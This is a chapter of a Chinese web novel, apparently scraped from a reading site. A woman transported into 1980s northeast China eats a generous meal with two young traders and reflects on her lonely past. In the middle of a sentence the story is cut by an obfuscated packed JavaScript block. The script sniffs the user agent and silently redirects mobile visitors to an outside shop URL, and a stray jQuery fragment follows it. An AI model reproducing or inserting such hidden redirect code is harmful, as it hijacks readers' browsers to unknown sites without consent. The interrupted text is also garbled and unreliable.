文趣网 > 其他小说 > 穿做年代文大佬的小可怜 > 4. 第 4 章
    “我没有剥夺你的功劳,也不会做杨白劳。”

    楚微的笑点莫名被戳中,这真的是颇有年代感的冷幽默啊。

    从小到大,她还真没经历过这种场面,也没听过人说话像讲相声似的。

    好好玩。

    等菜的功夫,她打量着四周。

    七八张桌子陆续全坐满了。

    有穿军大衣的,有穿羊皮袄的,还有几个戴着狗皮帽子的老大爷,围着一桌喝酒,脸红得像关公,嗓门一个比一个大。

    以前她喜欢绝对的安静,讨厌任何闹声的。

    不知道是不是死过一次的缘故,也可能是因为太孤独了,身体里这个张小英应该也很孤独,她一下子觉得这样的人间烟火挺好的。

    这就是八十年代末的生活吗?

    好像从废墟中重建起来,每个人精神都很好!

    刘卫东感觉到楚微对周围的一切都很好奇,很得意的说道:“那几个老头儿喝高了,你等着吧,一会儿准开唱。”

    话音刚落,那边果然传来了声音。

    也不知道谁起的头,几个人扯着嗓子唱起了《智取威虎山》:

    “今日痛饮庆功酒,壮志未酬誓不休——”

    “来日方长显身手,甘洒热血写春秋——”

    “瞧见没?我跟你说,东北这地儿,冬天没事干,就是喝酒、吃肉、唱样板戏。日子是苦了点儿,但人家活得痛快!”

    楚微问:“你活的不痛快?”

    “我?”刘卫东被问得一愣。

    看着小姑娘含羞内敛不谙世事,还能问出这种问题。

    他随即嘿嘿笑起来,“我活得痛快啊!怎么不痛快?有吃有喝有钱赚,还有个哥们儿罩着,大家一起赚钱,多痛快!你个小姑娘懂什么?”

    楚微抿着茶,没有说话。

    她在想,他们这一代人的童年都是经历过伤痛,对了,学文学的时候她记得,八十年代正是伤痕文学兴起的时候。

    真神奇,时间真是良药,短短一些日子就可以把所有的伤痛忘记,大家开始积极向上,拥抱未来。

    她转头看了一眼陆峥荣,他正端端正正坐着,目光平静地看着这一切。算算时间,一九七六年的时候,他也十一岁了。

    这个年纪,童年都快过完了。

    他每天这么严肃,是不是因为心里还带着伤呢?

    算了,不想了。

    菜很快陆续上来。

    杀猪菜用一个大搪瓷盆端上来,咕嘟咕嘟冒着泡,酸菜味一飘上来。

    楚微活了二十多年,从没吃过杀猪菜。

    不知道是不是这些天过得太苦了,看到满大盆的东西,简直目瞪口呆,胃迅速叫唤,馋得她差点流口水!

    血肠切得厚薄均匀,白肉片得透亮,汤底奶白奶白的,太馋人了,受不了了!

    锅包肉也跟着上来了。

    刘卫东拿起筷子:“赶紧吃,陆哥,咱们就不需要什么规矩了吧?”

    “啥?”楚微疑惑地看着他俩,“没有鱼头啊,不用朝着峥荣哥吧?”

    陆峥荣笑了下:“你还懂这个?吃吧,咱们要什么规矩,吃得像样点就行。”

    明白,就是不要狼吞虎咽,身上手上都是汁水,不太文雅。

    楚微夹了一块锅包肉,外皮酥脆,里面嫩得能咬出汁水来,酸甜适口,好吃得她差点咬到舌头。

    忍不住点头,竖大拇指!

    “好吃好吃,爆好吃!”

    “嚼完了再说话。”陆峥荣看她还没嚼完又夹了一块塞进嘴里,“吃完一个再吃一个,太快了对胃不好,尤其是你这种长期营养不良的。”

    楚微赶紧放慢了速度,嘴里含混地“嗯”了一声。

    感觉自己饿死鬼上身,真的太饿了。

    陆峥荣拿起她的碗,先给她盛了一碗酸菜汤,又夹了几片白肉和血肠放在碗边,推到她面前。

    “先喝汤,暖暖胃。”

    “谢谢哥。”楚微双手捧过碗。

    不知怎么,可能人与人天生相克,反正楚微对他有点怕怕的,确切的说,是敬畏。

    他让吃,她就吃了。

    刘卫东在旁边看着,酸溜溜地说:“陆哥,咱俩认识这么多年,你给我夹过菜吗?”

    “你自己不会夹?”陆峥荣头都没抬,还是给他夹了一块肉。

    楚微低头喝汤。

    好喝!美味!仙品!

    感觉自己上辈子这辈子都没吃过什么好吃的,怎么会这么好吃!

    呜呜,天底下的美食享受不过如此!

    排骨炖豆角最后上来。

    豆角是夏天晒的干豆角,冬天拿出来炖排骨,吸饱了肉汤,比排骨还好吃。

    楚微从来没吃过这种东西。咬一口,筋道有嚼劲,满嘴都是肉香。

    “好吃吧?”刘卫东看着她,“这叫干豆角,东北特产。夏天豆角吃不完,晒干了冬天炖肉,绝了。”

    楚微用力点头,又夹了一筷子。

    她这个土老帽穿越者,今天也算开了眼了!

    活的不如三四十年前的“古人”。

    这个月份,正好是各家各户杀猪的时候。

    老板杀猪菜用的材料供货足够,平常根本吃不到这么全这么多的好东西,人这一年就盼望春节了!

    三个人都跟猪似的,埋头猛吃。

    压根来不及相互寒暄说话,干饭最要紧!

    一直吃到后半程,三个人才松弛下来,刘卫东开始跟陆峥荣聊正事儿。

    “明天去孙老板那儿提货,东西不少,你那黄芪真打算留着?”

    “留着。”他说。

    “行,听你的。”刘卫东点点头,“反正也不占地方,放一放也不碍事。”

    “我总觉得价还能再压一压。上次他说哈尔滨有人要包圆,我托人打听了,压根没这回事儿,他自己搁那儿唱双簧呢。”

    陆峥荣放下筷子,端起搪瓷缸子喝了一口水:“我知道。”

    “你知道?”刘卫东瞪大眼睛,“你知道你不说?我还以为你真信了他的鬼话!”

    “信不信不重要。”陆峥荣语气平淡,“重要的是货值不值这个价。值,就给他;不值,他说出花来也没用。”

    刘卫东竖起大拇指:“得,还是你稳。那明天去了怎么谈?”

    “照旧。”陆峥荣说,“他让价,我们就多拿;他不让,我们照单拿。这批货到了北京不愁卖,没必要为了一两个点跟他掰扯。”

    楚微听得入神。

    两个二十岁出头都人都跑全国做生意,她为了当好牛马过实习期,每天战战兢兢,不敢多说一句话。

    到底是什么家庭出来的?什么样的环境能养出这样的人?

    她肯定不会有这样的家庭了,从小似乎总是伴随着自卑和自傲。

    自卑家里一而再的变故,自豪学习成绩可以,长相可以,有人追求,有些喜欢,面对这些投来的喜欢又很无措。

    总觉得自己有点察言观色,有时候又过于冷漠。

    好磨人,真的想像他们这样挥斥方遒。

    “小英,”陆峥荣忽然转头看她,“你觉得呢?”

    “啊?我觉得什么?”

    “黄芪,灵芝,你们南方喜欢这种东西吗?价格多少知道吗?”

    楚微放下碗,想了想,她不能说得太笃定,一个十五岁的山里姑娘,不该对未来市场

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564895|204697||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的走势有百分之百的信心。

    “我老家那边,前几年黄芪没人要,山上挖回来当柴烧。后来来了个收药材的,说是野生的值钱,一斤给好几块。再后来大家都上山挖,挖了一年,第二年山上就找不着了。东西越少越贵,这是老理儿吧?”

    这话很专业啊,都是做生意的俗语。

    不过她上过《经济学》,也学过历史,简单的贸易还是了解的,又不是真的白痴。

    陆峥荣问:“你老家那边,还有人懂这些?”

    “我就懂呀,初中课本,历史书有呀,我也上学几年的。”

    “你很聪明,以后继续上学吧。”

    楚微不想针对劝学这件事说来说去,就呲着牙笑了下。

    刘卫东没觉察到任何,还感叹:“小英子不容易,能活到现在是老天爷赏饭吃。”

    谁是小英子,听着跟李莲英一样!

    陆峥荣又给楚微舀了一勺酸菜汤:“老天爷赏不赏饭,得看自己接不接得住。”

    他一定是那种东亚父母,对孩子要求很多,考上大学那种,还是好大学,每天严格要求的人!

    杀猪菜吃得差不多了,锅包肉只剩下几块姜片,排骨炖豆角的盘子也见了底。

    这一顿吃得可真爽快!

    末尾时,老板端上来一盘粘豆包,黄澄澄的,冒着热气。

    “尝尝,我媳妇儿刚蒸的,豆馅儿自己熬的,没放多少糖。”

    老板应该就是刘大姐的老公,四十多岁的壮汉,围裙上全是油渍,笑呵呵的,“你们仨外地人,我们肯定得招待好,你们吃得好,下回再来呀!”

    “谢谢老板,麻烦了!”陆峥荣接过,随后和刘卫东说:“一会儿把这钱也一起算了,不能白吃。”

    “得了!您说啥就是啥。”

    真是公事公办的人!

    楚微伸手拿了一个,这东西她也没吃过。

    粘豆包烫手,她左右手倒了两下,咬了一口。

    黏,糯,甜。

    红豆馅儿绵密得不像话,皮儿是用黄米面做的,有一股特殊农作物原始的香气。

    “好吃!”

    “你什么都好吃,是不是在你嘴里就没有不好吃的东西?”

    楚微唉声叹气:“以前吃不到这些。在老家,我都没吃饱过,更不能吃什么稀罕物。”

    原身的记忆里,冬天是最难熬的,家里冷得要命,吃的都是腌萝卜咸菜,偶尔有点肉星子就是过年啦。

    杀猪菜这种东西,在张小英的世界里,是想都不敢想的。

    “那你多吃点。”刘卫东把剩下的粘豆包全推到她面前,“反正我跟陆哥不爱吃甜的,你包圆儿了。”

    楚微看了一眼陆峥荣。

    陆峥荣面容复杂,可能被她的话语触动,他给她倒了杯水:“吃吧。”

    楚微心里忽然涌上一股说不清的感觉。

    有点感动,有点感激,更像是一种陌生又熟悉的暖意。

    上辈子活了二十二年,从小学到大学再到实习,一路都是自己硬扛。

    爸妈离婚后跟了妈,妈再婚后跟了姥姥,姥姥去世后就剩自己。

    独自一个人过年就一碗泡面加两个蛋,最多炒一个菜,再买杯超过十块钱的奶茶,已经顶天的快乐!

    期末时得来奖学金要省着花,需要来年上学用,感觉已经很多年没人给她夹过菜,没有人说过“先喝汤暖暖胃”这些让她觉得很羞耻的话了。

    她以为自己不需要这些。

    或者说,她以为自己早就习惯了不需要。

    可现在有人这么做了才发现,不是不需要,是从来没得到过。

    这样的感受,真让人留恋呀。